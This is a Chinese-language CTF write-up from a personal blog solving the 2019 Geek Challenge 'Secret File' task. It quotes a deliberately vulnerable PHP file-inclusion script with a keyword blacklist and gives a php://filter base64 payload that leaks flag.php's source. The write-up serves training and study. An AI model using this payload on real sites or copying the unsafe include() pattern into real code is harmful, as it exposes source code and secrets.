[极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File
管他谁的秘密呢,开场就看源码,发现有一个跳转,但是使用css隐藏了,修改下就可以看出来。
点击访问一下这个地址,然后又给出了另外一个转跳地址,继续访问
访问一下发现,没有跳转到 action.php 上,而是直接跳到了 end.php ,所以用抓包,来详细瞧一瞧 这个 action.php 有啥东西。
发现访问 action.php 的时候有 302 重定向到了 end.php,action.php 中给出了一个 secr3t.php 的地址。
访问一下 secr3t.php 地址。
出现了代码审计,提示说 flag 放在了 flag.php 中,这里源代码中 过滤了 …/、tp、input、data 关键字,但是没关系,可以用 filter 。
# 代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
使用 php://filter/convert.base64-encode/resource=flag.php 将 flag.php 的内容全部经过 base64 编码后通过文件包含带出,最后解码(在线加密解密)就可以看到 flag.php 的源码了。
# payload
?file=php://filter/convert.base64-encode/resource=flag.php
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582256.html